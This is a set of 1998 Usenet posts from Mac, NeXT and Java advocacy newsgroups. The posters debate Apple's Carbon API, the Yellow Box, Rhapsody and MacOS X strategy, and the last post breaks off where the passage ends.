References: <3619BF6A.6159336B@nstar.net> <1dgh174.1nnsb12jzw8y0N@p026.intchg2.net.ubc.ca>
Mime-Version: 1.0
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Bruce Bennett wrote:
[cut]
> Relax. Apple's spin on "Pentium-toasting" G3 speed has had the effect of
> ensuring that iMac sales weren't immediately quashed by insultingly
> deceitful claims that a 'merely' 233MHz CPU is ipso facto a lame joke.
>
> Remember, it's a Dvorak-eat-Bray world out there. Especially at the
> consumer sales level, where mis- and disinformation rules.
Ah, you're not embarassed. I certainly am. Just last night I posted:
> Ironically, honesty and openness have *always* been MacOS user traits.
> Jobs is the absolute worst person to lead the generally friendly and
> enthusiastic MacOS market.
Obviously, I should have known better. I guess I should go apologize to
Steve Jobs and Bill Clinton now, since I apparently have no right to
criticize them for doing "what everyone does", especially since my
hopeful notions of "everybody" have been shat upon.
On the bright side, I don't have to live with the consequences; not
today, anyway.
MJP
From: "Pascal Haakmat" <ahaakmat@MAPSON.cable.a2000.nl>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the
desktop)
Date: Wed, 07 Oct 1998 02:50:56 +0200
Organization: A2000 Kabeltelevisie & Telecommunicatie
Message-ID: <6vedtf$6o1$1@pascal.a2000.nl>
References: <36099217.345010578@news.newsguy.com>
<3619B2E5.19831926@nstar.net> <slrn71l49m <361A9F92.1D9F3A3@ericsson.com>
<rbarrisF0FK54.KuB@netcom.com>
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In article <rbarrisF0FK54.KuB@netcom.com> , rbarris@netcom.com (Robert
Barris) wrote:
>Hellooooo, if you consider the alterations for Carbon (what is described
>above, a selected useful subset of the classic Mac API, suitable for
>multitasking and protected memory) to be "rewritten", than perhaps you're
>correct.
>
>Photoshop certainly wasn't "rewritten" in a couple of weekends, and yet
>that's how long it took to get first code running on the earliest DEMO
>version of the Carbon API, May WWDC 98.
Well... I agree with you.
However, there is no implementation of Carbon yet. This means that we do not
yet know how well it will perform.
If it does not perform as well as Apple promises, then how much more
rewriting of Photoshop is going to be needed to make it _really_ a
first-class citizen?
This brings up the factor of time. If it takes a year from now to perfect
Carbon, and another year for
applications to be made _really_ Carbonized, then Carbon will be around for
a pretty long time. Hardly a transitory solution anymore, and possibly a
threat to Apple's YB efforts, which I believe to ultimately be much more
important.
Pascal.
From: amaliy1@uic.edu (Anil T Maliyekke)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEWS.COM article on CPU marketshare
Date: 7 Oct 1998 01:22:16 GMT
Organization: University of Illinois at Chicago
Message-ID: <6vefo8$2dfi$1@piglet.cc.uic.edu>
References: <6v9l1r$27uq$1@piglet.cc.uic.edu> <361862AC.B572DA9@nstar.net> <6vbv6f$26l8$1@piglet.cc.uic.edu> <3619B09D.5D1104FF@nstar.net>
Michael Peck (mjpeck@nstar.net) wrote:
: Anil T Maliyekke wrote:
: [cut]
: > Anyway, you are still missing my point. Sun has always been a company
: > that sells to corporations and other institutions and has always had
: > customers who were willing to spend over $20,000 dollars to buy a
: > workstation. Many of those organizations continue to be
: > willing to spend that sort of money to satisfy their requirements.
: > Some are spending considerably more. Some aren't.
: Okay, I see that part of your point, but I don't understand why it
: doesn't (or couldn't) apply to Apple. There's nothing unique about Sun
: selling to enterprise; lots of companies do it.
It could, but Apple needs to address the market with a better OS.
I think once they do that they will gain a lot more attention and
will make headway.
: > Apple customers,
: > which includes consumers who won't ever see a ROI measurable in dollars
: > one their purchase, never have been willing to spend that much for the
: > items that they have traditionally bought from Apple, though they are
: > typically willing to spend a little bit more than PC customers.
: Yes! Yet Apple continues to market *directly* to this low-margin group
: of consumers!
: Phew, I'm glad you see this.
Well there are lot more of them. And you can still make a tidy profit
from them. Apple needs to readdress the corporate market eventually, and
needs to aim at higher end markets. It may need help in doing this. But
it still needs to cater to the low-margin group, so it can lower the costs
for the higher end products by spreading the costs around over a larger
customer base. And they have some advantages in this market so they
should press them.
: > : It's power, baby. If Apple had a solution I wanted, I'd do the same for
: > : them. So would thousands of engineers across the globe. All Apple has to
: > : do is build the [expletive deleted] solution. And ship it, of course.
: >
: > Well I totally agree. But in terms of licensing, MacOS as it stands
: > today won't generate the kind of growth that is needed to sustain
: > both Apple and licensees.
: Yes, it's an extremely painful fact that can't be fixed by wishing. The
: blame is squarely upon the shoulders of past Apple managers.
: Now, if we were to say to ourselves, "How do we prevent the same thing
: happening in a few years?" the answer is "invest in the software
: *today*". Well, what do you know? Apple hasn't shipped Rhapsody and
: *still* isn't building new software customers.
: > Mac OS X may very well do so.
: Too late! It's planned to ship in 1999! And if it's as late as MacOS X
: Server is today, it will be 2000 before MacOS X ships. If I worked at
: Apple I'd be saying "Oh, shit" right now.
I would argue that Apple does have time for several reasons:
1) NT 5 is late and is being downplayed
2) Despite all the hype, deployments of NT have fallen short of
predictions, which means people aren't making investments in this
OS that would discourage them from breaking from their current course
3) The year 2000 and the Euro conversion are approaching with people
diverting resources from new deployments to shoring up existing systems
4) People are skeptical about the quality and cost of purchase as well
as implementation of software solutions coming from Microsoft
5) People are increasingly suspicious of the motivations behind
Microsoft's various plans and decisions
That isn't to say that Apple can afford a ship date that slips well
into 2000. But the reality is that despite all the hype, the tech
industry plods along at a slow rate and tech customers move even slower
because they are paying for the damn thing and money doesn't
grow on trees.
: > But Apple
: > has to do well in the meantime, or Mac OS X will fail because Apple
: > has gone bankrupt. Licensees won't help with Mac OS 8.x and it won't
: > help Apple, since it doesn't leave enough room for Apple to distinguish
: > itself from cloners who don't have the resources to compete on something
: > other than price.
: Apple has to survive in the long term, not the short term. The short
: term is already assured, because Apple has sufficient capital and
: marketshare to ride out waves of competition. Hell, NT 5.0 is late!
: Invest, invest, invest! Apple has got to invest in the future.
Well, duh! But Apple is investing. They aren't hyping it though
because it isn't ready, and they know once they do start hyping they'll
end up freezing the marketplace.
: MJP
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: What happends to MacOS X Server?
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <6vdkf5$a0m$1@news2.nctu.edu.tw>
Message-ID: <AUvS1.648$%l1.343296@news.rdc1.sdca.home.com>
Date: Tue, 06 Oct 1998 21:24:48 GMT
NNTP-Posting-Date: Tue, 06 Oct 1998 14:24:48 PDT
Organization: @Home Network
In <6vdkf5$a0m$1@news2.nctu.edu.tw> Spencer Yu wrote:
> Any news from Apple about MacOS X Server? I thought the shipping
> date is very very close now..and the silence is making me scared...
>
You're not alone... there's some guy named mmalc here who put cold hard cash
on X shipping by Oct. He hasn't even had the courtesy of a press release by
Apple of their intention to do so :-)
-r
From: "Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 7 Oct 1998 01:33:02 GMT
Organization: Net Squared, Inc.
Message-ID: <01bdf190$e30a7560$06387880@chewy>
References: <36099217.345010578@news.newsguy.com> <36233246.148238919@news2.newscene.com> <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com> <forrestDELETE-THIS!-2509981323590001@term3-12.vta.west.net> <FIiROLCWddLd-pn2-QHCH10tPkEvt@localhost> <6vasvr$918@merkur.smartsoft.de> <pulsar-ya02408000R0510981301030001@news-proxy.cso.uiuc.edu> <36196301.72F98584@nstar.net> <6vc263$19a$1@msunews.cl.msu.edu> <3619B2E5.19831926@nstar.net> <slrn71l49m.3r3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <361A9F92.1D9F3A3@ericsson.com>
Michael Peck <Michael.Peck@ericsson.com> wrote
> In other words, instead of investing in YB development,
> developers must first investing in Carbon-izing apps. How
> clever, another reason to put off investment in YB.
Converting an existing MacOS app, potentially with years and years of
development, to Carbon is *much* easier than converting a MacOS application
to YB.
In short, virtually no major MacOS application developer had endorsed YB,
and none probably would even without Carbon.
> Compare and contrast:
[stuff deleted]
Of course Rhapsody was going to be renamed MacOS <something>. "Apple" and
"Mac" were and still are synonymous in most people's minds - you just don't
drop the name that everyone associates with you.
Of course the new operating system is going to have the look-and-feel of
MacOS. That is what the huge base of loyal customers expect. If Apple
dropped the name "Mac" and entirely changed the look-and-feel to NEXTSTEP
(which I prefer), Apple would probably lose the vast majority of their
customers who buy upgrades and keep Apple afloat.
> I'll bet it has. Once Apple took the gun away from their
> heads they were happy to agree to anything, even this silly
> Carbon plan.
Apple isn't big enough to put a gun to anybody's head. If Apple says,
"This is the way it is, and if you don't like it, tough!", then most of the
big developers would probably just walk away.
> > Complain about the absence of Rhapsody/Intel past 1.0 if
> > you want, but not the OS design plan.
>
> Hell no, that's rock solid (not).
Compared to whose operating system? Every major OS developers changes its
directions based on the changing business climate. They don't operate in a
vacuum.
Bill Gates once said, "I would rather be right than consistent." Ideally
we would like to be both right *and* consistent, but if the environment
changes or your plan doesn't seem to be working, staying consistent is
suicide.
Todd
PS. IMHO, the real threat to YB is not Carbon but Java.
From: yan@infowave.net (Yan Choon Ee)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: Wed, 7 Oct 1998 12:05:15 -0700
Organization: Infowave Wireless Messaging, Inc.
Message-ID: <1dgj2lj.1wmloip1cf0vcaN@host87.gdt.com>
References: <36099217.345010578@news.newsguy.com> <36233246.148238919@news2.newscene.com> <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com> <forrestDELETE-THIS!-2509981323590001@term3-12.vta.west.net> <FIiROLCWddLd-pn2-QHCH10tPkEvt@localhost> <6vasvr$918@merkur.smartsoft.de> <pulsar-ya02408000R0510981301030001@news-proxy.cso.uiuc.edu> <36196301.72F98584@nstar.net> <6vc263$19a$1@msunews.cl.msu.edu> <3619B2E5.19831926@nstar.net> <slrn71l49m.3r3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <361A9F92.1D9F3A3@ericsson.com> <rbarrisF0FK54.KuB@netcom.com> <361ABD55.870F151B@nstar.net> <01bdf1a2$87336410$06387880@chewy> <361AF117.5B4413A9@nstar.net>
User-Agent: MacSOUP/2.4b2
Michael Peck <mjpeck@nstar.net> wrote:
> Todd Heberlein (todd at NetSQ dot com) wrote:
> >
> > A Carbonized app will inherit all the modern OS capabilities that a YB
> > application does. If Apple supports a logo program, it will probably
> > give a "MacOS X" logo for any app written to YB or Carbon.
>
> Precisely. You said earlier that YB and Carbon are not competitors. From
> this statement, they clearly are: any developer who desires that logo
> will have to choose between YB and Carbon.
I think you misread what Todd said. He said that Carbon *OR* YB apps
will probably be given a "MacOS X" logo. How does that make them
competitors?
[.. deleted ..]
> > MacOS X is essentially Rhapsody with Carbon support.
> And without NXHosting, DPS, or Intel support. Just little things like
> that.
> Interesting that most of these limitations were direct consequences of
> having to cripple Rhapsody for the sake of Carbon.
NXHosting is going away because DPS is going away. DPS is going away
because Apple doesn't want to depend on Adobe for their imaging engine.
What has that got to do with Carbon at all?
[.. deleted ..]
yan
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: Wed, 07 Oct 1998 14:09:28 -0500
Organization: Ericsson North America Inc.
Message-ID: <361BBC68.91048CFB@ericsson.com>
References: <36099217.345010578@news.newsguy.com> <3619B2E5.19831926@nstar.net> <slrn71l49m <361A9F92.1D9F3A3@ericsson.com> <rbarrisF0FK54.KuB@netcom.com> <361ABD55.870F151B@nstar.net> <01bdf1a2$87336410$06387880@chewy> <361AF117.5B4413A9@nstar.net> <6vg5sc$p42$1@nnrp1.dejanews.com>
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Charles Swiger wrote:
> And yet you feel free to mischaracterize and falsely attribute remarks you
> made up as if they were made by Steve Jobs?
Don't know what the hell you're talking about. As you yourself wrote,
silly:
"It's a waste of time refuting this..."
Next time you want to accuse me of something, spend a few precious
moments of your time backing the accusation. You spent more time giving
us an arduous Carbon pitch -- totally irrelevant to the conversation --
than you would have if you'd actually "wasted" your time in refutation.
MJP
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: Wed, 07 Oct 1998 19:26:37 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6vgf9d$fv4$1@nnrp1.dejanews.com>
References: <6vedtf$6o1$1@pascal.a2000.nl> <B240587C-26E50@206.165.43.170> <6vg0gd$s3d$1@pascal.a2000.nl>
In article <6vg0gd$s3d$1@pascal.a2000.nl>,
"Pascal Haakmat" <ahaakmat@MAPSON.cable.a2000.nl> wrote:
> In article <B240587C-26E50@206.165.43.170> , "Lawson English"
> <english@primenet.com> wrote:
[ ... ]
> I am not specifically talking about speed. I am just wondering whether it
> will work as well as Apple promises. Because while many parts of Carbon may
> just act as wrapper material, I imagine there is still a lot of code that
> will have to be written.
Exactly what do you think Carbon is?
(Hint: it's not a wrapper.)
> Also a lot of this code will have to address the
> increased complexity of a multitasking multi-user system, by a development
> team that has little or no experience with these matters. And while the
> developers acquired from Next may have experience with this, they in turn
> have no experience with the classic Mac Toolbox.
Why did this notion that the NeXT community is completely unacquainted with
the Mac arise? For example, where do you think the developers formerly at
NeXT came from?
(Hint: They didn't grow on trees! Many of them left Apple to say with Jobs
when he founded NeXT. Just like many NEXTSTEP/OPENSTEP developers formerly
did Mac development.)
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
From: rbarris@netcom.com (Robert Barris)
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Message-ID: <rbarrisF0FK54.KuB@netcom.com>
Organization: Netcom
References: <36099217.345010578@news.newsguy.com> <3619B2E5.19831926@nstar.net> <slrn71l49m <361A9F92.1D9F3A3@ericsson.com>
Date: Wed, 7 Oct 1998 00:03:04 GMT
Sender: rbarris@netcom10.netcom.com
In article <361A9F92.1D9F3A3@ericsson.com>,
Michael Peck <Michael.Peck@ericsson.com> wrote:
>Matt Kennel wrote:
>
>> No. Jobs and company devised a scheme so that MacOS programs can be
>> reprogrammed to run as a native Rhapsody process, instead of in a virtual
>> machine.
>
>Right. In other words, MacOS programs *have* to be rewritten, and thus
>become second-rate first-class citizens in the Rhapsody environment.
>This, in contrast to letting MacOS programs be first-rate first-class
>citizens in their own environment (without an immediate rewrite, also).
Hellooooo, if you consider the alterations for Carbon (what is described
above, a selected useful subset of the classic Mac API, suitable for
multitasking and protected memory) to be "rewritten", than perhaps you're
correct.
Photoshop certainly wasn't "rewritten" in a couple of weekends, and yet
that's how long it took to get first code running on the earliest DEMO
version of the Carbon API, May WWDC 98.
>In other words, instead of investing in YB development, developers must
>first investing in Carbon-izing apps. How clever, another reason to put
>off investment in YB.
Not every developer faces the same choices. Not all will make the same
decision.
>> What evidence is that it's screwing everything up, as compared to what
>> was happening before?
>
>The fact that Rhapsody is more than ever a balancing act against MacOS,
>and that both look pathetic because of Jobs' constant shapeshifting on
>the subject of pathways forward.
I don't completely disagree. Carbon at its core is a response to
developer wants. Namely, not wanting to do a big rewrite of apps just to
get into YB.
>Compare and contrast:
>
>Amelio: "The fact is, System 7 is the operating system we have today.
>Rhapsody is going to be great, but it's not here, yet."
>
>Jobs: "Milk the MacOS for all it's worth and move on."
>
>[a few months later]
>
>Jobs: "Rhapsody will replace MacOS within a few years."
>
>[a few months later]
>
>Jobs: "We're making MacOS into Rhapsody."
>
>[a few months later]
>
>Jobs: "Rhapsody *is* MacOS."
If you want to poke fun, sure.
Some names have changed. But if you break it down, MacOS X has the same
Blue Box that Rhapsody does. The same Yellow Box. And it also has a
"Carbon" box, for apps that get tweaked appropriately.
>> Despite all the noise here, this move has been unanimously hailed by
>> actual Macintosh software developers, many of whom previously expressed
>> doubts about Amelio's plan.
>
>I'll bet it has. Once Apple took the gun away from their heads they were
>happy to agree to anything, even this silly Carbon plan.
Macromedia, Microsoft and Adobe don't seem to believe that it is silly.
Are they wrong?
>The results are nothing if not predictable. 95% of all existing MacOS
>apps will never get beyond Carbon. Instead of two parallel markets
>running on two parallel platforms -- one containing established MacOS
>apps, the other containing proven OpenStep apps and innovative, risky
>apps from new players (eager to capitalize on YB's ease-of-development)
>-- we now have one market, poorly defined, uncertain of shipment, and
>generally ignored.
Well, here you are assuming that *all* developers will make the same
decision. The ones that have new apps and still have an easy choice to
make might not agree with your assessment. But who are they?
Rob
Date: Tue, 06 Oct 1998 20:09:08 -0500
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.lang.java.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: What do Apple Sell? Why would they damage their business?
Message-ID: <joe.ragosta-0610982009080001@elk112.dol.net>
References: <6v4cvb$n0u$1@eskinews.eskimo.com> <362d5e93.317525241@news3.newscene.com> <3617DD6C.4EFD@prodigy.net> <edewF0DFEH.A1s@netcom.com>
In article <edewF0DFEH.A1s@netcom.com>, edew@netcom.com (Eric Dew) wrote:
> In article <3617DD6C.4EFD@prodigy.net> cheljuba@prodigy.net writes:
> >Just Me wrote:
> >>
> ><snip>
> >> What *I* do can't even be done on anything BUT Windows.
> >
> >I'll bite -- what do you do that can't be done on anything but Windows?
>
> Well, a lot of games are written just for Windows...
So you're saying you can't play games on Macs?
Sure, there are specific games that are Windows only. But there are also
games that are Mac only.
You still haven't shown any thing you can't do with a Mac.
There are only a very, very few tiny niches where the Mac doesn't have a
product.
--
Regards,
Joe Ragosta
See the Complete Macintosh Page at its new location:
http://www.taylor-design.com/cMacindex.html
From: Mike Spille <mspille@tisny.com>
Newsgroups: comp.sys.mac.advocacy,comp.lang.java.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 7 Oct 1998 15:04:02 -0500
Organization: Transaction Information Systems
Message-ID: <361B827D.94E253C6@tisny.com>
References: <6vbi7r$12su2@odie.mcleod.net> <B23FA979-3CAC6@206.165.43.169> <slrn71l5d1.3r3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6ve82u$2iq$1@msunews.cl.msu.edu> <361ab93b.0@news.depaul.edu> <6vehc6$lqq$1@nnrp03.primenet.com>
<361ad8a0.0@news.depaul.edu> <6vfskd$4dv$1@nnrp02.primenet.com>
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John Jensen wrote:
>
> Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
>
[snip]
>
> : Would you like to demonstrate how I'm incorrect? Especially since
> : *most* software written is written for internal use by companies,
> : who aren't concerned with supporting a wide variety of platforms,
> : since the software is going to run on a single platform.
>
> : I'd wager that the amount of software being written in VB, Visual C++,
> : Delphi, and Access dwarfs the amount of software being written
> : in Java. Exceedingly few of those developers care about multi-
> : platform support.
>
> Oops, isn't this the "most people" argument again?
>
I find the analogy amusing, actually. If you're talking consumers,
then you are talking about two platforms at most, Mac and some
Windows variant. If you're talking corporate internal use, I've
seen few large corporations that use solely Windows variants. In
that environment there's a heavy mix of Unix, NT, Windows, and
completely different boxes like AS/400s. Functionality is constantly
being moved from one "level" to another for performance, business,
or political reasons e.g. business logic often migrates back and
forth between the AS/400, Unix servers, NT servers, and clients.
If your client software is heavily tied to Windows, such functionality
migration is _very_ painful. Lifting code off the clients, or moving
it from servers to the client, is a big job.
Big corporations are getting hot and bothered about Java because
migration between different levels is signficantly easier if all
your levels speak Java to some extent.
Throw company internet presence and intranets and the argument against
tying to Windows becomes even stronger.
> : The multiplatform capabilities of Java are of interest to people
> : writing software for multiple platforms, like you. Most people don't
> : do this, because they have a single platform in mind for deployment.
> : For them, Java's other capabilities are more important, and the
> : multiplatform support is a nice thing to have in case they ever
> : need it (but probably won't).
>
> I think you are getting on the right track when you say "multiplatform
> support is a nice thing to have". Seriously, that is the key question to
> ask any consumer at the corporate or home level:
>
> _If_ you could buy software without worrying about what
> brand of computer it runs on, and _if_ you could switch
> OSes and preserve your software and data investment,
> would that be a benefit to you?
>
> I think "most people" would answer "yes". The only real questions are:
>
> Is it possible today?
>
> Do you loose any benefits of the native platform?
>
> Those two questions have not been answered to my full satisfaction by any
> current technology. Java is the best cross-platform technology I've seen,
> but if it doesn't pan out, I'll try the next in line. And there will be a
> next in line, the benefits of independence are too rich to ignore. When
> we are tied to a single OSes we suffer the same "folly of Princes" that
> Adam Smith warned us of 200 years ago. It doesn't matter if the prince is
> named Bill, or Steve, or even Scott ... as long as we are tied to a
> proprietary API we dance to their tune.
>
I agree. Just because Windows has a strong lock on the consumer market
and extremely heavy penetration into corporations does not mean that
this is what users want, or that it's the ideal model. It's just the
way things are today. Given real apples-to-apples choices consumers
(and corporations) will choose the best for the least cost. Unfortunately
for now the playing field is far from level.
> John
-Mike
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 7 Oct 1998 19:58:04 GMT
Organization: Univ of Calif San Diego
Message-ID: <slrn71nhub.3p2.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <36099217.345010578@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com> <forrestDELETE-THIS!-2509981323590001@term3-12.vta.west.net> <FIiROLCWddLd-pn2-QHCH10tPkEvt@localhost> <6vasvr$918@merkur.smartsoft.de><pulsar-ya02408000R0510981301030001@news-proxy.cso.uiuc.edu> <36196301.72F98584@nstar.net> <6vc263$19a$1@msunews.cl.msu.edu> <3619B2E5.19831926@nstar.net> <slrn71l49m.3r3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <361A9F92.1D9F3A3@ericsson.com> <6vec6t$kjn$1@nnrp03.primenet.com> <361AB985.AE669F81@nstar.net> <01bdf1a2$79d91df0$06387880@chewy> <361AFD8E.E52C04D6@nstar.net>
NNTP-Posting-Date: 7 Oct 1998 19:58:04 GMT
On Wed, 07 Oct 1998 00:35:10 -0500, Michael Peck <mjpeck@nstar.net> wrote:
:>
:> No. Carbon is to essentially replace the Blue Box. The Blue Box will
:> probably be used by applications which are essentially not being
:> maintained or upgraded - applictions that have ended their life cycle.
:
:I'm disgusted by this. If this is true the strategy has changed more
:fundamentally than I knew. It means that Blue Box is no longer a bridge
:between MacOS and Rhapsody; instead it's nothing more than a way to
:trick MacOS into laying down and dying. Congratulations, it's dying. And
:so is Rhapsody.
What's so disgusting?
Just a little while ago, you were whinging about all the kernel and
I/O oriented things that old MacOS does wrong, which would undoubtably
be fixed by MacOSX/Rhapsody.
Now, you're disgusted by this supposed trick of letting MacOS ''die''?
Why are you shedding so many tears?
Doesn't Carbon mean that the useful parts of it will continue to live on
longer, and the obsolete parts will eventually wither?
And the Blue Box will *still* be there.
I'm completely mystified by you. What *IS* the problem?
Would you rather have forced developers to give up MacOS toolbox calls
completely in order to get protected memory, decent blocking I/O, real
virtual memory, et cetera?
:> > It's totally out of place on Rhapsody!
:>
:> Rhapsody had generated very little excitement outside NEXTSTEP users.
:> Carbon has given Rhapsody (MacOS X) a lease on life.
:
:Read the quote from MacWEEK again. May 2, 1997! Are you about to tell me
:that you were *surprised* by this?
:
:> > 1) Carbon draws attention and development effort (and
:> > incentive) away from YB
:>
:> Once again, after almost a year and a half, virtually no one had
:> endorsed YB. Java may draw development effort away from YB, but not
:> Carbon.
:
:Carbon seals YB's fate. YB probably had a long and distinguished future
:ahead of it; unfortunately, neither Apple nor its NeXT fans were willing
:to wait for it, and they have now managed to completely destroy its
:chances of ever becoming a viable platform.
:
:Basically, Apple gave YB a late-term abortion.
Incomprehensible. It was the deep-pocket developers who had no
interest in YB who forced Carbon.
:
:> > 2) Carbon's presence on Rhapsody deprecates the Rhapsody
:> > Blue Box
:>
:> The Blue Box was always a crutch until developers could move their
:> applications to full process membership in Rhapsody.
:
:Blue Box was a resource that allowed Rhapsody users to run MacOS
:programs. This "crutch" spin is historic revisionism. As you have
:already claimed, moving MacOS programs to YB is a complete rewrite.
:There is nothing about Blue Box that makes it some kind of porting tool
:or "crutch" for migration. It's simply a compatibility environment.
:
:> Originally, the
:> only way that would happen would be for developers to rewrite their
:> applications using YB, but none of the developers were doing that.
:> Because developers have endorsed Carbon users will be able to run major
:> Mac applications (e.g., Photoshop and Macromedia) as full fledged
:> processes with preemptive multi-tasking and memory protection!
:
:Which solidifies Carbon (a MacOS technology) instead of YB. That would
:be fine if Carbon were actually deployed on MacOS, but it's being
:deployed on Rhapsody. For what? Who knows? What is so crucial about
:moving *everyone* to Rhapsody, so crucial that it involves rewriting the
:OS, killing off the existing MacOS, and sealing YB's fate? What am I
:missing?
MacOS Classic has obsolete internals. And Carbon doesn't "seal YB's fate".
:> The MacOS architecture is inheritently bad for the fundamental OS
:> capabilities we expect in a modern OS. Radical surgery was needed, and
:> Carbon is the approach that causes the least pain with major developers
:> with established MacOS applications.
:
:Exactly! And Carbon deployed on MacOS would have been a stroke of
:genius.
Read above. "MacOS (classic) architecture is inherently bad for the
fundamental capabilities we expect in a modern OS."
:If, instead of "Carbon", Apple had made the equivalent changes to MacOS
:(cut the crap and the frills, just put Blue Box on a microkernel and
:make Carbon-like changes to the Toolbox), almost all of the existing
:developers would probably have been happy to celebrate a brand-new MacOS
:that gave them a path forward, and a YB strategy that gave them a
:long-term future.
What is the difference between what you described and MacOS X?
:MJP
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD
*
* "To chill, or to pop a cap in my dome, whoomp! there it is."
* Hamlet, Fresh Prince of Denmark.
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <6vghmt$oc5817@pegasus.hkstar.com>
Control: cancel <6vghmt$oc5817@pegasus.hkstar.com>
Date: 07 Oct 1998 20:09:52 GMT
Organization: BOFH Space Command, Usenet Division
Message-ID: <cancel.6vghmt$oc5817@pegasus.hkstar.com>
Sender: <hk_simon@internet-club.com>
Article cancelled as EMP/ECP, exceeding a BI of 20.
The "Current Usenet spam thresholds and guidelines" FAQ is available at
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Please include the X-CosmoTraq header of this message in any correspondence
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Sick-O-Spam, Spam-B-Gon!
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 7 Oct 1998 00:21:49 GMT
Organization: Primenet (602)416-7000
Message-ID: <6vec6t$kjn$1@nnrp03.primenet.com>
References: <36099217.345010578@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com> <forrestDELETE-THIS!-2509981323590001@term3-12.vta.west.net> <FIiROLCWddLd-pn2-QHCH10tPkEvt@localhost> <6vasvr$918@merkur.smartsoft.de>
<pulsar-ya02408000R0510981301030001@news-proxy.cso.uiuc.edu> <36196301.72F98584@nstar.net> <6vc263$19a$1@msunews.cl.msu.edu> <3619B2E5.19831926@nstar.net> <slrn71l49m.3r3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <361A9F92.1D9F3A3@ericsson.com>
Michael Peck <Michael.Peck@ericsson.com> wrote:
: Matt Kennel wrote:
: > Despite all the noise here, this move has been unanimously hailed by
: > actual Macintosh software developers, many of whom previously expressed
: > doubts about Amelio's plan.
: I'll bet it has. Once Apple took the gun away from their heads they were
: happy to agree to anything, even this silly Carbon plan.
Mac developers didn't really agree with Carbon. It was Carbon that
agreed with Mac developers.
The Mac has been a good business for some, but there has always been the
temptation of larger markets. Those who were open to the markets
opportunities tended to drift off in search of higher profits. In the
last few years, with dwindling Macintosh market share, the trend has
accelerated. The only people left are those who really wanted to stay in
that groove.
Carbon is a change without a change. It lets you stay in that groove.
I think it really remains to be seen if the kind of developer who will
choose something new and different will choose the Yellow Box. If you are
looking at the entire market you have lots of options.
John
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
From: rbarris@netcom.com (Robert Barris)
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the
desktop)
Message-ID: <rbarrisF0H4F9.Bwy@netcom.com>
Organization: Netcom
References: <36099217.345010578@news.newsguy.com> <6vedtf$6o1$1@pascal.a2000.nl> <rbarrisF0G0sA.Ity@netcom.com> <6vfvu3$rak$1@pascal.a2000.nl>
Date: Wed, 7 Oct 1998 20:18:45 GMT
Sender: rbarris@netcom15.netcom.com
In article <6vfvu3$rak$1@pascal.a2000.nl>,
Pascal Haakmat <ahaakmat@MAPSON.cable.a2000.nl> wrote:
>In article <rbarrisF0G0sA.Ity@netcom.com> , rbarris@netcom.com (Robert
>Barris) wrote:
>
>>>However, there is no implementation of Carbon yet. This means that we do not
>>>yet know how well it will perform.
>>
>>There was enough of one for Adobe to demonstrate a
>> * running version of Photoshop *
>>about six months ago.
>
>The Carbon runtime is not available. This means we do not know how well it
>will perform. Technology demonstrations are irrelevant. There is an NT 5.0
>beta available right now. What does that say about it's delivery date or the
>quality of the release version? Nothing at all. So even a technology
>demonstration that is actually released leaves many questions to be
>answered.
>
>And the Carbon runtime environment has not even been _released_ yet.
Right, so time will tell. Rather than speculate, I'll throw out a data point.
